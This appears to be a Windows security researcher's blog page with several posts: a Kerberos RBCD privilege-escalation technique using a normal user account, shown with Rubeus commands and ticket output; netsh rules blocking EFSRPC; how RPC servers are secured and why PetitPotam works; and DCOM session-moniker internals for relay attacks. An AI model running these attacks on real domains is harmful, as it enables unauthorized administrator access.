Showing posts with label Windows. Show all posts
Showing posts with label Windows. Show all posts

Friday, 13 May 2022

Exploiting RBCD Using a Normal User Account*

* Caveats apply.

Resource Based Constrained Delegate (RBCD) privilege escalation, described by Elad Shamir in the "Wagging the Dog" blog post is a devious way of exploiting Kerberos to elevate privileged on a local  Windows machine. All it requires is write access to local computer's domain account to modify the msDS-AllowedToActOnBehalfOfOtherIdentity LDAP attribute to add another account's SID. You can then use that account with the Services For User (S4U) protocols to get a Kerberos service ticket for the local machine as any user on the domain including local administrators. From there you can create a new service or whatever else you need to do.

The key is how you write to the LDAP server under the local computer's domain account. There's been various approaches usually abusing authentication relay. For example, I described one relay vector which abused DCOM. Someone else has then put this together in a turnkey tool, KrbRelayUp. 

One additional criteria for this to work is having access to another computer account to perform the attack. Well this isn't strictly true, there's the Shadow Credentials attack which allows you to reuse the same local computer account, but in general you need a computer account you control. Normally this isn't a problem, as the DC allows normal users to create new computer accounts up to a limit set by the domain's ms-DS-MachineAccountQuota attribute value. This attribute defaults to 10, but an administrator could set it to 0 and block the attack, which is probably recommend.

But I wondered why this wouldn't work as a normal user. The msDS-AllowedToActOnBehalfOfOtherIdentity attribute just needs the SID for the account to be allowed to delegate to the computer. Why can't we just add the user's SID and perform the S4U dance? To give us the best chance I'll assume we have knowledge of a user's password, how you get this is entirely up to you. Running the attack through Rubeus shows our problem.

PS C:\> Rubeus.exe s4u /user:charlie /domain:domain.local /dc:primarydc.domain.local /rc4:79bf93c9501b151506adc21ba0397b33 /impersonateuser:Administrator /msdsspn:cifs/WIN10TEST.domain.local

   ______        _
  (_____ \      | |
   _____) )_   _| |__  _____ _   _  ___
  |  __  /| | | |  _ \| ___ | | | |/___)
  | |  \ \| |_| | |_) ) ____| |_| |___ |
  |_|   |_|____/|____/|_____)____/(___/
  v2.0.3
[*] Action: S4U
[*] Using rc4_hmac hash: 79bf93c9501b151506adc21ba0397b33
[*] Building AS-REQ (w/ preauth) for: 'domain.local\charlie'
[*] Using domain controller: 10.0.0.10:88
[+] TGT request successful!
[*] base64(ticket.kirbi):
      doIFc...
[*] Action: S4U
[*] Building S4U2self request for: 'charlie@DOMAIN.LOCAL'
[*] Using domain controller: primarydc.domain.local (10.0.0.10)
[*] Sending S4U2self request to 10.0.0.10:88
[X] KRB-ERROR (7) : KDC_ERR_S_PRINCIPAL_UNKNOWN
[X] S4U2Self failed, unable to perform S4U2Proxy.

We don't even get past the first S4U2Self stage of the attack, it fails with a KDC_ERR_S_PRINCIPAL_UNKNOWN error. This error typically indicates the KDC doesn't know what encryption key to use for the generated ticket. If you add an SPN to the user's account however it all succeeds. This would imply it's not a problem with a user account per-se, but instead just a problem of the KDC not being able to select the correct key.

Technically speaking there should be no reason that the KDC couldn't use the user's long term key if you requested a ticket for their UPN, but it doesn't (contrary to an argument I had on /r/netsec the other day with someone who was adamant that SPN's are a convenience, not a fundamental requirement of Kerberos). 

So what to do? There is a way of getting a ticket encrypted for a UPN by using the User 2 User (U2U) extension. Would this work here? Looking at the Rubeus code it seems requesting a U2U S4U2Self ticket is supported, but the parameters are not set for the S4U attack. Let's set those parameters to request a U2U ticket and see if it works.

[+] S4U2self success!
[*] Got a TGS for 'Administrator' to 'charlie@DOMAIN.LOCAL'
[*] base64(ticket.kirbi): doIF...bGll

[*] Impersonating user 'Administrator' to target SPN 'cifs/WIN10TEST.domain.local'
[*] Building S4U2proxy request for service: 'cifs/WIN10TEST.domain.local'
[*] Using domain controller: primarydc.domain.local (10.0.0.10)
[*] Sending S4U2proxy request to domain controller 10.0.0.10:88
[X] KRB-ERROR (13) : KDC_ERR_BADOPTION

Okay, we're getting closer. The S4U2Self request was successful, unfortunately the S4U2Proxy request was not, failing with a KDC_ERR_BADOPTION error. After a bit of playing around this is almost certainly because the KDC can't decrypt the ticket sent in the S4U2Proxy request. It'll try the user's long term key, but that will obviously fail. I tried to see if I could send the user's TGT with the request (in addition to the S4U2Self service ticket) but it still failed. Is this not going to be possible?

Thinking about this a bit more, I wondered, could I decrypt the S4U2Self ticket and then encrypt with the long term key I already know for the user? Technically speaking this would create a valid Kerberos ticket, however it wouldn't create a valid PAC. This is because the PAC contains a Server Signature which is a HMAC of the PAC using the key used to encrypt the ticket. The KDC checks this to ensure the PAC hasn't been modified or put into a new ticket, and if it's incorrect it'll fail the request.

As we know the key, we could just update this value. However, the Server Signature is protected by the KDC Signature which is a HMAC keyed with the KDC's own key. We don't know this key and so we can't update this second signature to match the modified Server Signature. Looks like we're stuck.

Still, what would happen if the user's long term key happened to match the TGT session key we used to encrypt the S4U2Self ticket? It's pretty unlikely to happen by chance, but with knowledge of the user's password we could conceivably change the user's password on the DC between the S4U2Self and the S4U2Proxy requests so that when submitting the ticket the KDC can decrypt it and perhaps we can successfully get the delegated ticket.

As we know the TGT's session key, one obvious approach would be to "crack" the hash value back to a valid Unicode password. For AES keys I think this is going to be difficult and even if successful could be time consuming. However, RC4 keys are just a MD4 hash with no additional protection against brute force cracking. Fortunately the code in Rubeus defaults to requesting an RC4 session key for the TGT, and MS have yet to disable RC4 by default in Windows domains. This seems like it might be doable, even if it takes a long time. We would also need the "cracked" password to be valid per the domain's password policy which adds extra complications.

However, I recalled when playing with the SAM RPC APIs that there is a SamrChangePasswordUser method which will change a user's password to an arbitrary NT hash. The only requirement is knowledge of the existing NT hash and we can set any new NT hash we like. This doesn't need to honor the password policy, except for the minimum age setting. We don't even need to deal with how to call the RPC API correctly as the SAM DLL exports the SamiChangePasswordUser API which does all the hard work. 

I took some example C# code written by Vincent Le Toux and plugged that into Rubeus at the correct point, passing the current TGT's session key as the new NT hash. Let's see if it works:

SamConnect OK
SamrOpenDomain OK
rid is 1208
SamOpenUser OK
SamiChangePasswordUser OK

[*] Impersonating user 'Administrator' to target SPN 'cifs/WIN10TEST.domain.local'
[*] Building S4U2proxy request for service: 'cifs/WIN10TEST.domain.local'
[*] Using domain controller: primarydc.domain.local (10.0.0.10)
[*] Sending S4U2proxy request to domain controller 10.0.0.10:88
[+] S4U2proxy success!
[*] base64(ticket.kirbi) for SPN 'cifs/WIN10TEST.domain.local':
      doIG3...

And it does! Now the caveats:

  • This will obviously only work if RC4 is still enabled on the domain. 
  • You will need the user's password or NT hash. I couldn't think of a way of doing this with only a valid TGT.
  • The user is sacrificial, it might be hard to login using a password afterwards. If you can't immediately reset the password due to the domain's policy the user might be completely broken. 
  • It's not very silent, but that's not my problem.
  • You're probably better to just do the shadow credentials attack, if PKINIT is enabled.
As I'm feeling lazy I'm not going to provide the changes to Rubeus. Except for the call to SamiChangePasswordUser all the code is already there to perform the attack, it just needs to be wired up. I'm sure they'd welcome the addition.

Saturday, 21 August 2021

How the Windows Firewall RPC Filter Works

I did promise that I'd put out a blog post on how the Windows RPC filter works. Now that I released my more general blog post on the Windows firewall I thought I'd come back to a shorter post about the RPC filter itself. If you don't know the context, the Windows firewall has the ability to restrict access to RPC interfaces. This is interesting due to the renewed interest in all things RPC, especially the PetitPotam trick. For example you can block any access to the EFSRPC interfaces using the following script which you run with the netsh command.

rpc
filter
add rule layer=um actiontype=block
add condition field=if_uuid matchtype=equal data=c681d488-d850-11d0-8c52-00c04fd90f7e
add filter
add rule layer=um actiontype=block
add condition field=if_uuid matchtype=equal data=df1941c5-fe89-4e79-bf10-463657acf44d
add filter
quit

This script adds two rules which will block any calls on the RPC interfaces with UUIDs of c681d488-d850-11d0-8c52-00c04fd90f7e and df1941c5-fe89-4e79-bf10-463657acf44d. These correspond to the two EFSRPC interfaces.

How does this work within the context of the firewall? Does the kernel components of the Windows Filtering Platform have a builtin RPC protocol parser to block the connection? That'd be far too complex, instead everything is done in user-mode by some special layers. If you use NtObjectManager's firewall Get-FwLayer command you can check for layers registered to run in user-mode by filtering on the IsUser property.

PS> Get-FwLayer | Where-Object IsUser
KeyName                      Name
-------                      ----
FWPM_LAYER_RPC_PROXY_CONN    RPC Proxy Connect Layer
FWPM_LAYER_IPSEC_KM_DEMUX_V4 IPsec KM Demux v4 Layer
FWPM_LAYER_RPC_EP_ADD        RPC EP ADD Layer
FWPM_LAYER_KM_AUTHORIZATION  Keying Module Authorization Layer
FWPM_LAYER_IKEEXT_V4         IKE v4 Layer
FWPM_LAYER_IPSEC_V6          IPsec v6 Layer
FWPM_LAYER_IPSEC_V4          IPsec v4 Layer
FWPM_LAYER_IKEEXT_V6         IKE v6 Layer
FWPM_LAYER_RPC_UM            RPC UM Layer
FWPM_LAYER_RPC_PROXY_IF      RPC Proxy Interface Layer
FWPM_LAYER_RPC_EPMAP         RPC EPMAP Layer
FWPM_LAYER_IPSEC_KM_DEMUX_V6 IPsec KM Demux v6 Layer

In the output we can see 5 layers with RPC in the name of the layer. 
  • FWPM_LAYER_RPC_EP_ADD - Filter new endpoints created by a process.
  • FWPM_LAYER_RPC_EPMAP - Filter access to endpoint mapper information.
  • FWPM_LAYER_RPC_PROXY_CONN - Filter connections to the RPC proxy.
  • FWPM_LAYER_RPC_PROXY_IF - Filter interface calls through an RPC proxy.
  • FWPM_LAYER_RPC_UM - Filter interface calls to an RPC server
Each of these layers is potentially interesting, and you can add rules through netsh for all of them. But we'll just focus on how the FWPM_LAYER_RPC_UM layer works as that's the one the script introduced at the start works with. If you run the following command after adding the RPC filter rules you can view the newly created rules:

PS> Get-FwFilter -LayerKey FWPM_LAYER_RPC_UM -Sorted | Format-FwFilter
Name       : RPCFilter
Action Type: Block
Key        : d4354417-02fa-11ec-95da-00155d010a06
Id         : 78253
Description: RPC Filter
Layer      : FWPM_LAYER_RPC_UM
Sub Layer  : FWPM_SUBLAYER_UNIVERSAL
Flags      : Persistent
Weight     : 567453553048682496
Conditions :
FieldKeyName               MatchType Value
------------               --------- -----
FWPM_CONDITION_RPC_IF_UUID Equal     df1941c5-fe89-4e79-bf10-463657acf44d


Name       : RPCFilter
Action Type: Block
Key        : d4354416-02fa-11ec-95da-00155d010a06
Id         : 78252
Description: RPC Filter
Layer      : FWPM_LAYER_RPC_UM
Sub Layer  : FWPM_SUBLAYER_UNIVERSAL
Flags      : Persistent
Weight     : 567453553048682496
Conditions :
FieldKeyName               MatchType Value
------------               --------- -----
FWPM_CONDITION_RPC_IF_UUID Equal     c681d488-d850-11d0-8c52-00c04fd90f7e

If you're read my general blog post the output should made some sense. The FWPM_CONDITION_RPC_IF_UUID condition key is used to specify the UUID for the interface to match on. The FWPM_LAYER_RPC_UM has many possible fields to filter on, which you can query by inspecting the layer object's Fields property.

PS> (Get-FwLayer -Key FWPM_LAYER_RPC_UM).Fields

KeyName                              Type      DataType
-------                              ----      --------
FWPM_CONDITION_REMOTE_USER_TOKEN     RawData   TokenInformation
FWPM_CONDITION_RPC_IF_UUID           RawData   ByteArray16
FWPM_CONDITION_RPC_IF_VERSION        RawData   UInt16
FWPM_CONDITION_RPC_IF_FLAG           RawData   UInt32
FWPM_CONDITION_DCOM_APP_ID           RawData   ByteArray16
FWPM_CONDITION_IMAGE_NAME            RawData   ByteBlob
FWPM_CONDITION_RPC_PROTOCOL          RawData   UInt8
FWPM_CONDITION_RPC_AUTH_TYPE         RawData   UInt8
FWPM_CONDITION_RPC_AUTH_LEVEL        RawData   UInt8
FWPM_CONDITION_SEC_ENCRYPT_ALGORITHM RawData   UInt32
FWPM_CONDITION_SEC_KEY_SIZE          RawData   UInt32
FWPM_CONDITION_IP_LOCAL_ADDRESS_V4   IPAddress UInt32
FWPM_CONDITION_IP_LOCAL_ADDRESS_V6   IPAddress ByteArray16
FWPM_CONDITION_IP_LOCAL_PORT         RawData   UInt16
FWPM_CONDITION_PIPE                  RawData   ByteBlob
FWPM_CONDITION_IP_REMOTE_ADDRESS_V4  IPAddress UInt32
FWPM_CONDITION_IP_REMOTE_ADDRESS_V6  IPAddress ByteArray16

There's quite a few potential configuration options for the filter. You can filter based on the remote user token that's authenticated to the interface. Or you can filters based on the authentication level and type. This could allow you to protect an RPC interface so that all callers have to use Kerberos with at RPC_C_AUTHN_LEVEL_PKT_PRIVACY level. 

Anyway, configuring it is less important to us, you probably want to know how it works, as the first step to trying to find a way to bypass it is to know where this filter layer is processed (note, I've not found a bypass, but you never know). 

Perhaps unsurprisingly due to the complexity of the RPC protocol the filtering is implemented within the RPC server process through the RpcRtRemote extension DLL. Except for RPCSS this DLL isn't loaded by default. Instead it's only loaded if there exists a value for the WNF_RPCF_FWMAN_RUNNING WNF state. The following shows the state after adding the two RPC filter rules with netsh.

PS> $wnf = Get-NtWnf -Name 'WNF_RPCF_FWMAN_RUNNING'
PS> $wnf.QueryStateData()

Data ChangeStamp
---- -----------
{}             2

The RPC runtime sets up a subscription to load the DLL if the WNF value is ever changed. Once loaded the RPC runtime will register all current interfaces to check the firewall. The filter rules are checked when a call is made to the interface during the normal processing of the security callback. The runtime will invoke the FwFilter function inside RpcRtRemote, passing all the details about the firewall interface call. The filter call is only made for DCE/RPC protocols, so not ALPC. It also will only be called if the caller is remote. This is always the case if the call comes via TCP, but for named pipes it will only be called if the pipe was opened via SMB.

Here's where we can finally determine how the RPC filter is processed. The FwFilter function builds a list of firewall values corresponding to the list of fields for the FWPM_LAYER_RPC_UM layer and passes them to the FwpsClassifyUser0 API along with the numeric ID of the layer. This API will enumerate all filters for the layer and apply the condition checks returning the classification, e.g. block or permit. Based on this classification the RPC runtime can permit or refuse the call. 

In order for a filter to be accessible for classification the RPC server must have FWPM_ACTRL_OPEN access to the engine and FWPM_ACTRL_CLASSIFY access to the filter. By default the Everyone group has these access rights, however AppContainers and potentially other sandboxes do not. However, in general AppContainer processes don't tend to create privileged RPC servers, at least any which a remote attacker would find useful. You can check the access on various firewall objects using the Get-AccessibleFwObject command.

PS> $token = Get-NtToken -Filtered -Flags LuaToken
PS> Get-AccessibleFwObject -Token $token | Where-Object Name -eq RPCFilter

TokenId Access             Name
------- ------             ----
4ECF80  Classify|Open RPCFilter
4ECF80  Classify|Open RPCFilter

I hope this gives enough information for someone to dig into it further to see if there's any obvious bypass I missed. I'm sure there's probably some fun trick you could do to circumvent restrictions if you look hard enough :-)

Saturday, 14 August 2021

How to secure a Windows RPC Server, and how not to.

The PetitPotam technique is still fresh in people's minds. While it's not directly an exploit it's a useful step to get unauthenticated NTLM from a privileged account to forward to something like the AD CS Web Enrollment service to compromise a Windows domain. Interestingly after Microsoft initially shrugged about fixing any of this they went and released a fix, although it seems to be insufficient at the time of writing.

While there's plenty of details about how to abuse the EFSRPC interface, there's little on why it's exploitable to begin with. I thought it'd be good to have a quick overview of how Windows RPC interfaces are secured and then by extension why it's possible to use the EFSRPC interface unauthenticated. 

Caveat: No doubt I might be missing other security checks in RPC, these are the main ones I know about :-)

RPC Server Security

The server security of RPC is one which has seemingly built up over time. Therefore there's various ways of doing it, and some ways are better than others. There are basically three approaches, which can be mixed and matched:
  1. Securing the endpoint
  2. Securing the interface
  3. Ad-hoc security
Let's take each one in turn to determine how each one secures the RPC server.

Securing the Endpoint

You register the endpoint that the RPC server will listen on using the RpcServerUseProtseqEp API. This API takes the type of endpoint, such as ncalrpc (ALPC), ncacn_np (named pipe) or ncacn_ip_tcp (TCP socket) and creates the listening endpoint. For example the following would create a named pipe endpoint called DEMO.

RpcServerUseProtseqEp(
    L"ncacn_np",
    RPC_C_PROTSEQ_MAX_REQS_DEFAULT,
    L"\\pipe\\DEMO",
    nullptr);

The final parameter is optional but represents a security descriptor (SD) you assign to the endpoint to limit who has access. This can only be enforced on ALPC and named pipes as something like a TCP socket doesn't (technically) have an access check when it's connected to. If you don't specify an SD then a default is assigned. For a named pipe the default DACL grants the following uses write access:
  • Everyone
  • NT AUTHORITY\ANONYMOUS LOGON
  • SELF
Where SELF is the creating user's SID. This is a pretty permissive SD. One interesting thing about RPC endpoints is they are multiplexed. You don't explicit associate an endpoint with the RPC interface you want to access. Instead you can connect to any endpoint that the process has created. The end result is that if there's a less secure endpoint in the same process it might be possible to access an interface using the least secure one. In general this makes relying on endpoint security risky, especially in processes which run multiple services, such as LSASS. In any case if you want to use a TCP endpoint you can't rely on the endpoint security as it doesn't exist.

Securing the Interface

The next way of securing the RPC server is to secure the interface itself. You register the interface structure that was generated by MIDL using one of the following APIs:
Each has a varying number of parameters some of which determine the security of the interface. The latest APIs are RpcServerRegisterIf3 and RpcServerInterfaceGroupCreate which were introduced in Windows 8. The latter is just a way of registering multiple interfaces in one call so we'll just focus on the former. The RpcServerRegisterIf3 has three parameters which affect security, SecurityDescriptor, IfCallback and Flags. 

The SecurityDescriptor parameter is easiest to explain. It assigns an SD to the interface, when a call is made on that interface then the caller's token is checked against the SD and access is only granted if the check passes. If no SD is specified a default is used which grants the following SIDs access (assuming a non-AppContainer process)
  • NT AUTHORITY\ANONYMOUS LOGON
  • Everyone
  • NT AUTHORITY\RESTRICTED
  • BUILTIN\Administrators
  • SELF
The token to use for the access check is based either on the client's authentication (we'll discuss this later) or the authentication for the endpoint. ALPC and named pipe are authenticated transports, where as TCP is not. When using an unauthenticated transport the access check will be against the anonymous token. This means if the SD does not contain an allow ACE for ANONYMOUS LOGON it will be blocked.

Note, due to a quirk of the access check process the RPC runtime grants access if the caller has any access granted, not a specific access right. What this means is that if the caller is considered the owner, which is normally set to the creating user SID they might only be granted READ_CONTROL but that's sufficient to bypass the check. This could also be useful if the caller has SeTakeOwnershipPrivilege or similar as it'd be possible to generically bypass the interface SD check (though of course that privilege is dangerous in its own right).

The second parameter, IfCallback, takes an RPC_IF_CALLBACK function pointer. This callback function will be invoked when a call is made to the interface, although it will be called after the SD is checked. If the callback function returns RPC_S_OK then the call will be allowed, anything else will deny the call. The callback gets a pointer to the interface and the binding handle and can do various checks to determine if the caller is allowed to access the interface.

A common check is for the client's authentication level. The client can specify the level to use when connecting to the server using the RpcBindingSetAuthInfo API however the server can't directly specify the minimum authentication level it accepts. Instead the callback can use the RpcBindingInqAuthClient API to determine what the client used and grant or deny access based on that. The authentication levels we typically care about are as follows:
  • RPC_C_AUTHN_LEVEL_NONE - No authentication
  • RPC_C_AUTHN_LEVEL_CONNECT - Authentication at connect time, but not per-call.
  • RPC_C_AUTHN_LEVEL_PKT_INTEGRITY - Authentication at connect time, each call has integrity protection.
  • RPC_C_AUTHN_LEVEL_PKT_PRIVACY - Authentication at connect time, each call is encrypted and has integrity protection.
The authentication is implemented using a defined authentication service, such as NTLM or Kerberos, though that doesn't really matter for our purposes. Also note that this is only used for RPC services available over remote protocols such as named pipes or TCP. If the RPC server listens on ALPC then it's assumed to always be RPC_C_AUTHN_LEVEL_PKT_PRIVACY. Other checks the server could do would be the protocol sequence the client used, this would allow rejecting access via TCP but permit named pipes.

The final parameter is the flags. The flag most obviously related to security is RPC_IF_ALLOW_SECURE_ONLY (0x8). This blocks access to the interface if the current authentication level is RPC_C_AUTHN_LEVEL_NONE. This means the caller must be able to authenticate to the server using one of the permitted authentication services. It's not sufficient to use a NULL session, at least on any modern version of Windows. Of course this doesn't say much about who has authenticated, a server might still want to check the caller's identity.

The other important flag is RPC_IF_ALLOW_CALLBACKS_WITH_NO_AUTH (0x10). If the server specifies a security callback and this flag is not set then any unauthenticated client will be automatically rejected. 

If this wasn't complex enough there's at least one other related setting which applies system wide which will determine what type of clients can access what RPC server. The Restrict Unauthenticated RPC Clients group policy. By default this is set to None if the RPC server is running on a server SKU of Windows and Authenticated on a client SKU. 

In general what this policy does is limit whether a client can use an unauthenticated transport such as TCP when they haven't also separately authenticated to an valid authentication level. When set to None RPC servers can be accessed via an unauthenticated transport subject to any other restrictions the interface is registered with. If set to Authenticated then calls over unauthenticated transports are rejected, unless the RPC_IF_ALLOW_CALLBACKS_WITH_NO_AUTH flag is set for the interface or the client has authenticated separately. There's a third option, Authenticated without exceptions, which will block the call in all circumstances if the caller isn't using an authenticated transport. 

Ad-hoc Security

The final types of checks are basically anything else the server does to verify the caller. A common approach would be to perform a check within a specific function on the interface. For example, a server could generally allow unauthenticated clients, except when calling a method to read a important secret value. At that point is could insert an authentication level check to ensure the client has authenticated at RPC_C_AUTHN_LEVEL_PKT_PRIVACY so that the secret will be encrypted when returned to the client. 

Ultimately you'll have to check each function you're interested in to determine what, if any, security checks are in place. As with all ad-hoc checks it's possible that there's a logic bug in there which can be exploited to bypass the security restrictions.

Digging into EFSRPC

Okay, that covers the basics of how an RPC server is secured. Let's look at the specific example of the EFSRPC server abused by PetitPotam. Oddly there's two implementation of the RPC server, one in efslsaext.dll which the interface UUID of c681d488-d850-11d0-8c52-00c04fd90f7e and one in efssvc.dll with the interface UUID of df1941c5-fe89-4e79-bf10-463657acf44d. The one in efslsaext.dll is the one which is accessible unauthenticated, so let's start there. We'll go through the three approaches to securing the server to determine what it's doing.

First, the server does not register any of its own protocol sequences, with SDs or not. What this means is who can call the RPC server is dependent on what other endpoints have been registered by the hosting process, which in this case is LSASS.

Second, checking the for calls to one of the RPC server interface registration functions there's a single call to RpcServerRegisterIfEx in InitializeLsaExtension. This allows the caller to specify the security callback but not an SD. However in this case it doesn't specify any security callback. The InitializeLsaExtension function also does not specify either of the two security flags (it sets RPC_IF_AUTOLISTEN which doesn't have any security impact). This means that in general any authenticated caller is permitted.

Finally, from an ad-hoc security perspective all the main functions such as EfsRpcOpenFileRaw call the function EfsRpcpValidateClientCall which looks something like the following (error check removed).

void EfsRpcpValidateClientCall(RPC_BINDING_HANDLE Binding, 
                               PBOOL ValidClient) {
  unsigned int ClientLocalFlag;
  I_RpcBindingIsClientLocal(NULL, &ClientLocalFlag);
  if (!ClientLocalFlag) {
    RPC_WSTR StringBinding;
    RpcBindingToStringBindingW(Binding, &StringBinding);
    RpcStringBindingParseW(StringBinding, NULL, &Protseq, 
                           NULL, NULL, NULL);
    if (CompareStringW(LOCALE_INVARIANT, NORM_IGNORECASE, 
        Protseq, -1, L"ncacn_np", -1) == CSTR_EQUAL)
        *ValidClient = TRUE;
    }
  }
}

Basically the ValidClient parameter will only be set to TRUE if the caller used the named pipe transport and the pipe wasn't opened locally, i.e. the named pipe was opened over SMB. This is basically all the security that's being checked for. Therefore the only security that could be enforced is limited by who's allowed to connect to a suitable named pipe endpoint.

At a minimum LSASS registers the \pipe\lsass named pipe endpoint. When it's setup in lsasrv.dll a SD is defined for the named pipe that grants the following users access:
  • Everyone
  • NT AUTHORITY\ANONYMOUS LOGON
  • BUILTIN\Administrators
Therefore in theory the anonymous user has access to the pipe, and as there are no other security checks in place in the interface definition. Now typically anonymous access isn't granted by default to named pipes via a NULL session, however domain controllers have an exception to this policy through the configured Network access: Named Pipes that can be accessed anonymously security option. For DCs this allows lsarpc, samr and netlogon pipes, which are all aliases for the lsass pipe, to be accessed anonymously.

You can now understand why the EFS RPC server is accessible anonymously on DCs. How does the other EFS RPC server block access? In that case it specifies an interface SD to limit access to only the Everyone group and BUILTIN\Administrators. By default the anonymous user isn't a member of Everyone (although it can be configured as such) therefore this blocks access even if you connected via the lsass pipe.

The Fix is In

What did Microsoft do to fix PetitPotam? One thing they definitely didn't do is change the interface registration or the named pipe endpoint security. Instead they added an additional ad-hoc check to EfsRpcOpenFileRaw. Specifically they added the following code:

DWORD AllowOpenRawDL = 0;
RegGetValueW(
  HKEY_LOCAL_MACHINE,
  L"SYSTEM\\CurrentControlSet\\Services\\EFS",
  L"AllowOpenRawDL",
  RRF_RT_REG_DWORD | RRF_ZEROONFAILURE,
  NULL,
  &AllowOpenRawDL);
if (AllowOpenRawDL == 1 && 
    !EfsRpcpValidateClientCall(hBinding, &ValidClient) && ValidClient) {
  // Call allowed.
}

Basically unless the AllowOpenRawDL registry value is set to one then the call is blocked entirely regardless of the authenticating client. This seems to be a perfectly valid fix, except that EfsRpcOpenFileRaw isn't the only function usable to start an NTLM authentication session. As pointed out by Lee Christensen you can also do it via EfsRpcEncryptFileSrv or EfsRpcQueryUsersOnFile or others. Therefore as no other changes were put in place these other functions are accessible just as unauthenticated as the original.

It's really unclear how Microsoft didn't see this, but I guess they might have been blinded by them actually fixing something which they were adamant was a configuration issue that sysadmins had to deal with. 

UPDATE 2021/08/17: It's worth noting that while you can access the other functions unauthenticated it seems any network access is done using the "authenticated" caller, i.e. the ANONYMOUS user so it's probably not that useful. The point of this blog is not about abusing EFSRPC but why it's abusable :-)

Anyway I hope that explains why PetitPotam works unauthenticated (props to topotam77 for the find) and might give you some insight into how you can determine what RPC servers might be accessible going forward. 

Tuesday, 27 April 2021

Standard Activating Yourself to Greatness

This week @decoder_it and @splinter_code disclosed a new way of abusing DCOM/RPC NTLM relay attacks to access remote servers. This relied on the fact that if you're in logged in as a user on session 0 (such as through PowerShell remoting) and you call CoGetInstanceFromIStorage the DCOM activator would create the object on the lowest interactive session rather than the session 0. Once an object is created the initial unmarshal of the IStorage object would happen in the context of the user authenticated to that session. If that happens to be a privileged user such as a Domain Administrator then the NTLM authentication could be relayed to a remote server and fun ensues.

The obvious problem with this attack is the requirement of being in session 0. Certainly it's possible a non-admin user might be allowed to authenticate to a system via PowerShell remoting but it'd be rarer than just being authenticated on a Terminal Server with multiple other users you could attack. It'd be nice if somehow you could pick the session that the object was created on.

Of course this already exists, you can use the session moniker to activate an object cross-session (other than to session 0 which is special). I've abused this feature multiple times for cross-session attacks, such as this, this or this. I've repeated told Microsoft they need to fix this activation route as it makes no sense than a non-administrator can do it. But my warnings have not been heeded. 

If you read the description of the session moniker you might notice a problem for us, it can't be combined with IStorage activation. The COM APIs only give us one or the other. However, if you poke around at the DCOM protocol documentation you'll notice that they are technically independent. The session activation is specified by setting the dwSessionId field in the SpecialPropertiesData activation property. And the marshalled IStorage object can be passed in the ifdStg field of the InstanceInfoData activation property. You package those activation properties up and send them to the IRemoteSCMActivator RemoteGetClassObject or RemoteCreateInstance methods. Of course it's possible this won't really work, but at least they are independent properties and could be mixed.

The problem with testing this out is implementing DCOM activation is ugly. The activation properties first need to be NDR marshalled in a blob. They then need to be packaged up correctly before it can be sent to the activator. Also the documentation is only for remote activation which is not we want, and there are some weird quirks of local activation I'm not going to go into. Is there any documented way to access the activator without doing all this?

No, sorry. There is an undocumented way though if you're interested? Sure? Okay good, let's carry on. The key with these sorts of challenges is to just look at how the system already does it. Specifically we can look at how session moniker is activating the object and maybe from that we'll be lucky and we can reuse that for our own purposes.

Where to start? If you read this MSDN article you can see you need to call MkParseDisplayNameEx to create parse the string into a moniker. But that's really a wrapper over MkParseDisplayName to provide URL moniker functionality which we don't care about. We'll just start at the MkParseDisplayName which is in OLE32.

HRESULT MkParseDisplayName(LPBC pbc, LPCOLESTR szUserName, 
      ULONG *pchEaten, LPMONIKER *ppmk) {
  HRESULT hr = FindLUAMoniker(pbc, szUserName, &pcchEaten, &ppmk);
  if (hr == MK_E_UNAVAILABLE) {
    hr = FindSessionMoniker(pbc, szUserName, &pcchEaten, &ppmk);
  }
  // Parse rest of moniker.
}

Almost immediately we see a call to FindSessionMoniker, seems promising. Looking into that function we find what we need.

HRESULT FindSessionMoniker(LPBC pbc, LPCWSTR pszDisplayName, 
                           ULONG *pchEaten, LPMONIKER *ppmk) {
  DWORD dwSessionId = 0;
  BOOL bConsole = FALSE;
  
  if (wcsnicmp(pszDisplayName, L"Session:", 8))
    return MK_E_UNAVAILABLE;
  
  
if (!wcsnicmp(pszDisplayName + 8, L"Console", 7)) {
    dwConsole = TRUE;
    *pcbEaten = 15;
  } else {
    LPWSTR EndPtr;
    dwSessionId = wcstoul(pszDisplayName + 8, &End, 0);
    *pcbEaten = EndPtr - pszDisplayName;
  }

  *ppmk = new CSessionMoniker(dwSessionId, bConsole);
  return S_OK;
}

This code parses out the session moniker data and then creates a new instance of the CSessionMoniker class. Of course this is not doing any activation yet. You don't use the session moniker in isolation, instead you're supposed to build a composite moniker with a new or class moniker. The MkParseDisplayName API will keep parsing the string (which is why pchEaten is updated) and combine each moniker it finds. Therefore, if you have the moniker display name:

Session:3!clsid:0002DF02-0000-0000-C000-000000000046

The API will return a composite moniker consisting of the session moniker for session 3 and the class moniker for CLSID 0002DF02-0000-0000-C000-000000000046 which is the Browser Broker. The example code then calls BindToObject on the composite moniker, which first calls the right most moniker, which is the class moniker.

HRESULT CClassMoniker::BindToObject(LPBC pbc, 
  LPMONIKER pmkToLeft, REFIID riid, void **ppv) {
  if (pmkToLeft) {
      IClassActivator pClassActivator;
      pmkToLeft->BindToObject(pcb, nullptr, 
        IID_IClassActivator, &pClassActivator);
      return pClassActivator->GetClassObject(m_clsid, 
            CLSCTX_SERVER, 0, riid, ppv);

  }
  // ...
}

The pmkToLeft parameter is set by the composite moniker to the left moniker, which is the session moniker. We can see that the class moniker calls the session moniker's BindToObject method requesting an IClassActivator interface. It then calls the GetClassObject method, passing it the CLSID to activate. We're almost there.

HRESULT CSessionMoniker::GetClassObject(
   REFCLSID pClassID, CLSCTX dwClsContext, 
   LCID locale, REFIID riid, void **ppv) {
  IStandardActivator* pActivator;
  CoCreateInstance(&CLSID_ComActivator, NULL, CLSCTX_INPROC_SERVER, 
    IID_IStandardActivator, &pActivator);

 
  ISpecialSystemProperties pSpecialProperties;
  pActivator->QueryInterface(IID_ISpecialSystemProperties, 
      &pSpecialProperties);
  pSpecialProperties->SetSessionId(m_sessionid, m_console, TRUE);
  return pActivator->StandardGetClassObject(pClassId, dwClsContext, 
                                            NULL, riid, ppv);

}

Finally the session moniker creates a new COM activator object with the IStandardActivator interface. It then queries for the ISpecialSystemProperties interface and sets the moniker's session ID and console state. It then calls the StandardGetClassObject method on the IStandardActivator and you should now have a COM server cross-session. None of these interface or the class are officially documented of course (AFAIK).

The $1000 question is, can you also do IStorage activation through the IStandardActivator interface? Poking around in COMBASE for the implementation of the interface you find one of its functions is:

HRESULT StandardGetInstanceFromIStorage(COSERVERINFO* pServerInfo, 
  REFCLSID pclsidOverride, IUnknown* punkOuter, CLSCTX dwClsCtx, 
